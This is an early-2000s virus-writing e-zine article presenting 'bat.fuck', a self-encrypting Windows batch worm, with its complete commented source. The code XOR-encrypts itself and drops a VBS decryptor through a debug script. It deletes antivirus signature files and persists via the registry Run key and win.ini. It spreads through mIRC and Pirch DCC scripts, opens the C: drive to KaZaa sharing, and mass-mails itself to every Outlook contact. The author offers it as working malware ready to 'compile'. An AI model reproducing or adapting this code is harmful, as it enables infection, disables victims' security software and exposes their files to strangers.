     +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+
    /  bat.fuck by philet0ast3r [rRlf]  /
   +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+

                  010101
                 10010001  00     001101001
                 00    01  11    01110011010
                 01    11  00    00       11
                 10   010  10    11       00
       100100110101100010  00    00       10
    0100011100100101011    01    01      01
  01010          01        101100110001010
 0101          01100010    11001001010001
  1001       01011000110         10
    010      100 10   0110       01
     110   011   01     0001     11
      011 010    01       0100   00
       0110      10         1010 10
        10       00           01101
        00       11              01

             www.rRlf.de

Hehe, here I am again, the guy with the encrypted batch.
Presenting you now the very improved version of the first encrypted
batch-virus/worm, BAT.Calvin&Hobbes (by me and alcopaul).
This one is a lot faster and smaller, and the main-code is
encrypted directly (not as in it's predecesor).
It was written June 2002, and it is my 13th virus, and very probably
the last virus I'll write for a zine (well, I won't stop writing virii
in general ;) . This one's for Black Cat Virii Group E-Zine #2, and
should be a presentation, how batch-encryption can be done.
Again the name: bat.fuck
(repeat reading it until you get at least three meanings ;)
Nevertheless, here are some facts:
-encrypted (thanks a lot to my friend alcopaul,
 for help with the encryption/decryption vbs)
-Outlook worm (with the help of a quite common vbs)
 subject: Ever saw an encrypted batch-worm? N0? then it's time!
 body: Well, you don't have to execute the attachment
       (if you don't want to ;) ... hey, at least look at it!
       You can boast at your friends this evening at the strip:
       'Hey comrades, today I saw an encrypted batch-worm!'
       ... Isn't that fascinating ?!
-mIRC worm
-pirch worm
-KaZaa worm
-"residency" through win.ini
-retro: Norton AntiVirus 2000, AntiVir /9X Personal Edition,
 F-Prot 95, McAfee, Thunderbyte
-payload: creates a little vbs, showing this message on every system-start:
                   bat.fuck
     ...be sure to get all the meanings...
 (ah, this is a presentation of encrypted batch ;)
 message box title: bat.fuck by philet0ast3r [rRlf]
-fully compatible to Windows ME, Windows 98, Windows 95 (has been tested)
-size: 6.522 bytes
-AV-names: I-Worm.Eversaw, BAT/Tryc, BAT_EVERSAW.A, EVERSAW.A, EVERSAW,
 VBS_ EVERSAW.A, IRC_ EVERSAW.A

philet0ast3r likes to greet/thank: 3ri5, alcopaul [rRlf], disc0rdia [rRlf],
dr.g0nZo [rRlf], El DudErin0 [rRlf], ppacket [rRlf], BeLiAL [BC],
Satanico [BC], Zoom23 [PVW], PetiK, toro [TKT], Benny [29A], herm1t,
mgl [*], rastafarie, Necronomikon [ZG], Energy, SnakeByte [MVX], nuerble,
BTK, ToxiC, pissn3lk [AFN], MalFunction, Senna Spy, Zarrmann, ina,
El Commandante, bafra, Mindjuice.

Ok, to say something to the encryption-technique:
The encrypted code has to be at the beginning, then follows the
decryption/encryption utility (here a vbs).
A spawned copy of the running file can now be decrypted and executed.
One part of the code is always encrypted, and so junk (no valid batch-commands).
When the virus is encrypted, the decryption/encryption and rest are not.
When the virus gets decrypted, the decryption/encryption and so get encrypted,
turning this now to junk. So after decryption, the junk is at the end of the file.
To cause no errors, the virus has to exit dos-mode at the end (see code).
But before, encrypt itself again, so that we get the the same file
as at the beginning.

Well, here is the code ... with comments "::"
These comments refer always to the code above and should be removed to
"compile" virus. But for the lazy ones: It's not neccessary, but decreases size
... and the victim does not know that easy what this batch is doing ;)
Phile-name is equal, but has to end with ".bat" :D

=====[begin code]===============================================================
珟垉勊剭嶆釄煙捤厼囨嵫檸煓勬釓巼藞逊洐剬檴唵幏厔櫉剠曏窐刭倕煄屌弴囨釓巼藞逊洐剬檴唵幏嵠洐劅肄穽洔嗀倥弴囨釓巼藞逊洐剬檴唵幏唸妽帋窐垔吪強熸釓巼藞逊焿姖溡薹焿槇妳艠倢驷弾囁堁窙檮寵妴啂窡墛澐焿姖艔姛驷弾囁堁窡墛澐焿姖艔姛驷弾囁堁窙檮寵妴啂穵潧帣槃厞嚪妳焸潅櫯潖嶆嵫泭拠剨忔釒垉勁剠藥櫃剻藱帢瀱幩厧摕請逊泭拠剨徟潐樻釒垉勊尒創松怂怂怂怂怂怂怂怂怂怂怂怂怂怂怂墛熍崬垁伤退▋櫭谪滤退▋櫭谯滤退伤怂怂怂怂伺排墡藰灆幩焺藢師藠噰藷儙藛帄厒厡樑排伤退▋櫭谪滤退▋櫭谯滤退擅妰撬焹倶藗標娝洐帢巺煀焸剠藙嵥巺垯挍煄徦墛焾兯新汕咣逸巧墛熍崬垁藟捤泝倗師蹔槦貦税櫣噸渡照堁窙姃噭姀艥墭驷巿儎斯⒖哒泭拠剨徟檸屾釒垉勊埃牣泊ГíТΚǎⅴ袱吉巩乏倛檮槃崯芳倕弰湗法灆檸厽綆櫂倓叿篂叾照泭拠剨徟檸屾釒垉勊蓡槍芍蓤逊窙姃噭姀艥墭烧諞姃噭姀艡帉驷檸寧弬熕臉藳姃噭姀艡帉驷褭帢倧巺垝驷巿儎税渹厪劀樁諜帢倧巺垝驷巿儎藝剨徶堁穳姛艒瀳€艍姛照檸槀弾厛掓釒垉勊櫈呏照檸槀弾厛掓釒垉勊噰粍櫉芝剠幷諜帢倧巺垝驷巿儎耪諜帢倧巺垝驷垊洅藱帢倧巺垝死宋渹厜剟煆倷畏渹吪倕偹螠倕墑劅弬櫸窐挊煄喎渹吪倕傛釓巼宋渹厜剟煆倷畏渹吪倕傛釂劃幩螠倕墑劅弬櫸窐挊煄喎渹吪倕偹螠倕墑劅弬櫸窚倕艂厒驷弾囁檸槀弾厛掓嵫唫檲驷弾囁堁穯倷埛槇檪洘艂厒驷弾囁堁穯倷堌俜槇檪洘艂厒驷弾囁堁窙檮寵姇诜唫檲窐垯倹熍倕傛釓巼藞逊洐剬檴曏穯倷堌俜槇檪洘艂厒驷巿儎税槇檪洘墩唫檲驷巿儎藚壑剠粟选あパ妊愓諉倷堟釒垉勊呞炙膫嵥盟厒垁酥炙蠁幩滤愃儕嚐藮照唫檲驷巿儎藚僦四艔垐藰巺徦蠀倛€藞逊墛熍崬垁艍姛照唫檲驷巿儎藚刂栒諉倷堟釂劃幩唫檲藞逊唫檲窐垯倹熍倕傛釂劃幩唫檲藞逊唫檲刭窐垯倹熍倕傛釂劃幩唫檲藞逊洐剬檴曏穯倷埛槇檪洘艂厒驷唲潕藛倷埶堁窙檮寵姇诜唫檲刭窐垯倹熍倕傛釓巼藛倷堟嵫泜檲冩釓巼藞逊泜檲円臃帩巺煒艂厒驷巿儎税潕嚇墩泜檲冩釒垉勊畢妷噹徶谡諞倷垉驷巿儎栓劄厽州照泜檲冩釒垉勊潕囑舟圹凭厐厔渽樥諞倷垉驷巿儎僳圹凭厐厔渽槷厞墖帍众照泜檲冩釒垉勊潕囐众圹僻帩巼粟圹照泜檲冩釒垉勊谯燮潕囁谯郛厞墖帍众照泜檲冩釒垉勊潕囏仲圹僻帩巼速圹照泜檲冩釒垉勊氽燮潕囁氽郛厞墖帍众照泜檲冩釒垉勊潕囘重圹僻帩巼素圹照泜檲冩釒垉勊刿燮潕囁刿郛厞墖帍众照泜檲冩釒垉勊潕囖诌圹僻帩巼诉圹照泜檲冩釒垉勊咣燮潕囁咣郛厞墖帍众照泜檲冩釒垉勊潕囕洲圹僻帩巼宿圹照泜檲冩釒垉勊捋燮潕囁捋郛厞墖帍众照泜檲冩釒垉勁照泜檲冩釒垉勊佰圹凭厐厔渽樁照泜檲冩釒垉勊緲帣谥潦莲琳諞倷垉驷巿儎司槑櫒劄厽众照泜檲冩釒垉勊疂巺熩证ニ·ⅴ讶涯張埶槑厪讼厒垁藞逊墛熍崬垁艍姛照泜檲冩釒垉勊疂巺煥劄厽众照泜檲冩釒垉勁照泜檲冩釒垉勊摆圹僻帩巼粟圹墩諞倷垉驷巿儎司槑櫒劄厽舟照泜檲冩釒垉勊疂巺煥劄厽舟照泜檲冩釒垉勁照泜檲冩釒垉勊百圹僻帩巼速圹墩諞倷垉驷巿儎司槑櫒劄厽舟照泜檲冩釒垉勊疂巺煥劄厽舟照泜檲冩釒垉勁照泜檲冩釒垉勊柏圹僻帩巼素圹墩諞倷垉驷巿儎司槑櫒劄厽舟照泜檲冩釒垉勊疂巺煥劄厽舟照泜檲冩釒垉勁照泜檲冩釒垉勊斑圹僻帩巼诉圹墩諞倷垉驷巿儎司槑櫒劄厽舟照泜檲冩釒垉勊疂巺煥劄厽舟照泜檲冩釒垉勁照泜檲冩釒垉勊稗圹僻帩巼宿圹墩諞倷垉驷巿儎司槑櫒劄厽舟照泜檲冩釒垉勊疂巺煥劄厽舟照泜檲冩釂劃幩泜檲兯堁窙倷垉矣穾潕厽樑倕傛釓巼藳倷垉驷褉姂妸驷巿儎斯⒖哒€姂妸艡帉驷巿儎税　川竟巩タ淳府狗竸崯湂檸窢姂妸阀剤妵▌厽巺煻照€姂妸艡帉驷巿儎松瘋槉墖幐儕檪厡芍彍剻徰圹圹圹圹照€姂妸艡帉驷巿儎松瘎渽噭姀瘋櫳稚ㄑ贩粰剬檴喫瓊噹樂窢姳姫贩烁儕檸徦瓌噺帣烧諃姂妸艡帉驷巿儎松瘋欅芍邵谫剡扪堁贩烧諃姂妸艡帉驷檸寧弬熕臉藔姂妸艡帉驷褎灍噭剙驷巿儎艅吽帣檮櫵檸槥啂藚帗熣劄焽剟€驷巿儎藦倖藠菈菆菑菐照劄焽剟€驷巿儎藰師藠酥思槇檪洘浓檸姛帳墎巿熋杉槇檪洘鸥儙噰陕照劄焽剟€驷巿儎藰師藟酥栓檸姛帳墎巿熋嗓灍噭剙弄洓噦垔焸剠陕照劄焽剟€驷巿儎藰師藞酥藟努師啂笡妶幟搔⑸抡談灍噭剙驷巿儎藣剻藪酥粟丝勊埮獜彊帢槯倶煒浓劄厽照劄焽剟€驷巿儎藰師藦酥藞弄弿檸槝槦樏捖照劄焽剟€驷巿儎藫酥粟照劄焽剟€驷巿儎藰師藥酥藟浓檸姛帰煄喢勐照劄焽剟€驷巿儎藣剻藙酥粟丝勊徟獜彊帢槷厽檪帢浓劄厽照劄焽剟€驷巿儎藣酥藦弄弿檸槝畢煓値樏撀照劄焽剟€驷巿儎藥殴巿倹値厽樑獜徦嵳談灍噭剙驷巿儎藫酥藫死粟照劄焽剟€驷巿儎藚帗熣談灍噭剙驷巿儎藥鸥瀴亷垷酥松疂帣藰姕藠吽巺垯挍煄徦墛焾兤渼檰运ホ运焹巺藗熖標焸啂噬照劄焽剟€驷巿儎藥农剰捤炙杉巼嚽藪劄藦剠虩藘姖幩焺藥搸垶煄藷儙藠煙妶儐巺熕脗嵥拕炈弰吿熕湂厽藷勊新伺排藘帓撬姛藝帄槦藝剟€藠熕偀仕矂炈垔吽墑姌熕姛藪劄櫵崣値厪標焹倶藥潕厒厡藠熕焹幩槦檪浹颂捤垊啓姀帢撬焺強捤⑺槉溗妳藥厛檼洘帍藟姛垉茰剻喪趟排潘吿熕焹姛藣姌垈厞焸厡嗽仕烧談灍噭剙驷巿儎藥弄煙妶儐巺煒弄弿嗣蓤逊墛熍崬垁艍姛陕照劄焽剟€驷巿儎藥暖巼師帾崯帣笧墕偀酥谁妵槑照劄焽剟€驷巿儎藥鸥巺徴談灍噭剙驷巿儎藣酥松烧談灍噭剙驷巿儎藚帗熣談灍噭剙驷唲潕藙灍噭剙宋渹厜剟煆倷畏劄焽剟€艥墭驷槦姍熕螠倕墑劅弬櫸穭灍噭剙艥墭驷褞厪驷弾囁泭拠剨徟檸屾釓巼藔姂妸艡帉驷槦姍熕螠倕墑劅弬櫸穲檼洘艥墭驷帗偀驷


:: ah great, isn't it? the above is the actual virus
:: because these are no valid batch-commands, nothing happens,
:: just some error-messages occur

@echo off
cls

:: this clears the screen of the error-messages

ctty nul
copy %0 c:\bat.fuck.bat

:: the running file is copied to c:\bat.fuck.bat

if exist %winbootdir%\crypt.vbs goto tralala

:: if the decryption/encryption -vbs already exists,
:: this debugging can be jumped over

echo e 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20>crypt
echo e 0110 6E 65 78 74 0D 0A 73 65 74 20 66 73 6F 20 3D 20>>crypt
echo e 0120 63 72 65 61 74 65 6F 62 6A 65 63 74 28 22 73 63>>crypt
echo e 0130 72 69 70 74 69 6E 67 2E 66 69 6C 65 73 79 73 74>>crypt
echo e 0140 65 6D 6F 62 6A 65 63 74 22 29 0D 0A 73 65 74 20>>crypt
echo e 0150 70 72 6F 63 34 20 3D 20 66 73 6F 2E 6F 70 65 6E>>crypt
echo e 0160 74 65 78 74 66 69 6C 65 28 22 63 3A 5C 62 61 74>>crypt
echo e 0170 2E 66 75 63 6B 2E 62 61 74 22 2C 20 31 29 0D 0A>>crypt
echo e 0180 6D 73 67 20 3D 20 70 72 6F 63 34 2E 72 65 61 64>>crypt
echo e 0190 61 6C 6C 0D 0A 64 64 64 20 3D 20 78 28 6D 73 67>>crypt
echo e 01A0 29 0D 0A 73 65 74 20 70 72 6F 63 32 20 3D 20 66>>crypt
echo e 01B0 73 6F 2E 63 72 65 61 74 65 74 65 78 74 66 69 6C>>crypt
echo e 01C0 65 28 22 63 3A 5C 62 61 74 2E 66 75 63 6B 2E 62>>crypt
echo e 01D0 61 74 22 2C 20 74 72 75 65 29 0D 0A 70 72 6F 63>>crypt
echo e 01E0 32 2E 77 72 69 74 65 6C 69 6E 65 20 64 64 64 0D>>crypt
echo e 01F0 0A 70 72 6F 63 32 2E 63 6C 6F 73 65 0D 0A 46 75>>crypt
echo e 0200 6E 63 74 69 6F 6E 20 78 28 73 54 65 78 74 29 0D>>crypt
echo e 0210 0A 4F 6E 20 45 72 72 6F 72 20 52 65 73 75 6D 65>>crypt
echo e 0220 20 4E 65 78 74 0D 0A 44 69 6D 20 65 6B 65 79 2C>>crypt
echo e 0230 20 69 2C 20 68 61 73 68 2C 20 63 72 62 79 74 65>>crypt
echo e 0240 0D 0A 65 6B 65 79 20 3D 20 32 33 35 0D 0A 46 6F>>crypt
echo e 0250 72 20 69 20 3D 20 31 20 54 6F 20 4C 65 6E 28 73>>crypt
echo e 0260 54 65 78 74 29 0D 0A 68 61 73 68 20 3D 20 41 73>>crypt
echo e 0270 63 28 4D 69 64 28 73 54 65 78 74 2C 20 69 2C 20>>crypt
echo e 0280 31 29 29 0D 0A 63 72 62 79 74 65 20 3D 20 43 68>>crypt
echo e 0290 72 28 68 61 73 68 20 58 6F 72 20 28 65 6B 65 79>>crypt
echo e 02A0 20 4D 6F 64 20 32 35 35 29 29 0D 0A 78 20 3D 20>>crypt
echo e 02B0 78 20 26 20 63 72 62 79 74 65 0D 0A 4E 65 78 74>>crypt
echo e 02C0 0D 0A 45 6E 64 20 46 75 6E 63 74 69 6F 6E 0D 0A>>crypt
echo e 02D0 C6>>crypt
echo rcx>>crypt
echo 01D0>>crypt
echo n crypt.vbs>>crypt
echo w>>crypt
echo q>>crypt
debug<crypt
del crypt
move crypt.vbs %winbootdir%

:: this is the debug-script of the decryption/encryption -vbs
:: code see below

:tralala
start %winbootdir%\crypt.vbs
start c:\bat.fuck.bat

:: the decryption/encryption -vbs gets executed,
:: and then the virus from c:\bat.fuck.bat

:end
exit
=====[end code]=================================================================

And here is the code of the decryption/encryption -vbs:

=====[begin code]===============================================================
on error resume next
set fso = createobject("scripting.filesystemobject")
set proc4 = fso.opentextfile("c:\bat.fuck.bat", 1)
msg = proc4.readall
ddd = x(msg)
set proc2 = fso.createtextfile("c:\bat.fuck.bat", true)
proc2.writeline ddd
proc2.close
Function x(sText)
On Error Resume Next
Dim ekey, i, hash, crbyte
ekey = 235
For i = 1 To Len(sText)
hash = Asc(Mid(sText, i, 1))
crbyte = Chr(hash Xor (ekey Mod 255))
x = x & crbyte
Next
End Function

=====[end code]=================================================================

And finally the code of the actual virus, again with comments:

=====[begin code]===============================================================
@echo off
ctty nul
:retro
del c:\programme\norton~1\s32integ.dll
del c:\programme\f-prot95\fpwm32.dll
del c:\programme\mcafee\scan.dat
del c:\tbavw95\tbscan.sig
del c:\programme\tbav\tbav.dat
del c:\tbav\tbav.dat
del c:\programme\avpersonal\antivir.vdf

:: the AVs will get problems scanning without those files

:payload
echo.on error resume next>c:\payload.vbs
echo MsgBox "                              bat.fuck" & Chr(13) & Chr(10) & "          ...be sure to get all the meanings..." & Chr(13) & Chr(10) & "(ah, this is a presentation of encrypted batch ;)",4096,"bat.fuck by philet0ast3r [rRlf]">>c:\payload.vbs

:: this is the creation of the payload-vbs

echo REGEDIT4>payload.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>payload.reg
echo "msg"="c:\\payload.vbs">>payload.reg
regedit /s payload.reg

:: a registry entry to run the payload-vbs on every system-start

:residency
echo [windows]>residency
echo load=c:\bat.fuck.bat>>residency
echo run=>>residency
echo NullPort=None>>residency
echo.>>residency

:: the part to be added to the win.ini for the "residency" gets created...

copy residency + %winbootdir%\win.ini %winbootdir%\system\win.ini
del %winbootdir%\win.ini
move %winbootdir%\system\win.ini %winbootdir%\win.ini
del residency

:: ...and copied in front of the win.ini

:mirc
del c:\mirc\script.ini
del c:\mirc32\script.ini
del c:\progra~1\mirc\script.ini
del c:\progra~1\mirc32\script.ini
echo [script]>mirc
echo n0=on 1:JOIN:#:{>>mirc
echo n1= /if ( nick == $me ) { halt }>>mirc
echo n2= /.dcc send $nick c:\bat.fuck.bat>>mirc
echo n3=}>>mirc
move mirc c:\mirc\script.ini
move mirc c:\mirc32\script.ini
move mirc c:\progra~1\mirc\script.ini
move mirc c:\progra~1\mirc32\script.ini
del mirc

:: a mIRC-script-file gets created, and copied to a possible mIRC-directory
:: all it does is dccing the virus to a persons who enters a channel,
:: where the victim is in

:pirch
del c:\pirch98\events.ini
echo [Levels]>pirch
echo Enabled=1>>pirch
echo Count=6>>pirch
echo Level1=000-Unknowns>>pirch
echo 000-UnknownsEnabled=1>>pirch
echo Level2=100-Level 100>>pirch
echo 100-Level 100Enabled=1>>pirch
echo Level3=200-Level 200>>pirch
echo 200-Level 200Enabled=1>>pirch
echo Level4=300-Level 300>>pirch
echo 300-Level 300Enabled=1>>pirch
echo Level5=400-Level 400>>pirch
echo 400-Level 400Enabled=1>>pirch
echo Level6=500-Level 500>>pirch
echo 500-Level 500Enabled=1>>pirch
echo.>>pirch
echo [000-Unknowns]>>pirch
echo User1=*!*@*>>pirch
echo UserCount=1>>pirch
echo Event1=ON JOIN:#:/dcc send $nick c:\bat.fuck.bat>>pirch
echo EventCount=1>>pirch
echo.>>pirch
echo [100-Level 100]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [200-Level 200]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [300-Level 300]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [400-Level 400]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [500-Level 500]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
move pirch c:\pirch98\events.ini
del pirch

:: a pirch-script-file gets created, and copied to the standard pirch-directory,
:: if it exists
:: it does the same as the mIRC-script-file, only that it's for pirch ;]

:kazaa
echo REGEDIT4>kazaa.reg
echo [HKEY_CURRENT_USER\Software\Kazaa\LocalContent]>>kazaa.reg
echo "DisableSharing"=dword:00000000>>kazaa.reg
echo "DownloadDir"="C:\\Program Files\\KaZaA\\My Shared Folder">>kazaa.reg
echo "Dir0"="012345:c:\\">>kazaa.reg
regedit /s kazaa.reg

:: a registry entry, that enables all files in c:\ (where the virus is in, too)
:: for sharing with KaZaa (see last line of the reg.file)

:outlook
echo.on error resume next>outlook
echo dim a,b,c,d,e>>outlook
echo set a = Wscript.CreateObject("Wscript.Shell")>>outlook
echo set b = CreateObject("Outlook.Application")>>outlook
echo set c = b.GetNameSpace("MAPI")>>outlook
echo for y = 1 To c.AddressLists.Count>>outlook
echo set d = c.AddressLists(y)>>outlook
echo x = 1>>outlook
echo set e = b.CreateItem(0)>>outlook
echo for o = 1 To d.AddressEntries.Count>>outlook
echo f = d.AddressEntries(x)>>outlook
echo e.Recipients.Add f>>outlook
echo x = x + 1>>outlook
echo next>>outlook
echo e.Subject = "Ever saw an encrypted batch-worm? N0? then it's time!">>outlook
echo e.Body = "Well, you don't have to execute the attachment (if you don't want to ;) ... hey, at least look at it! You can boast at your friends this evening at the strip: 'Hey comrades, today I saw an encrypted batch-worm!' ... Isn't that fascinating ?! ">>outlook
echo e.Attachments.Add ("c:\bat.fuck.bat")>>outlook
echo e.DeleteAfterSubmit = False>>outlook
echo e.Send>>outlook
echo f = "">>outlook
echo next>>outlook
move outlook %winbootdir%\outlook.vbs
start %winbootdir%\outlook.vbs

:: this is a vbs that sends the virus away through Outlook

:end
del payload.reg
del kazaa.reg
start %winbootdir%\crypt.vbs
exit

:: the virus encrypts itself again, and then exits dos-mode,
:: to cause no errors, because of the decryption/encryption stuff
:: (that's now encrypted and junk), that would follow

驷

:: this ("驷") is something left over from the decryption/encryption process
:: but it does not matter, because the virus exits before
:: it just grows a little bit, everytime when executed
:: you could call this some very lame polymorphic ... hehe, ah, not really ;]]
=====[end code]=================================================================

That's all, ppl. Hope this enjoyed you a bit.
And remember, batch is in no way dead yet...

Something you want to tell me? ... Equal what:
philet0ast3r@rRlf.de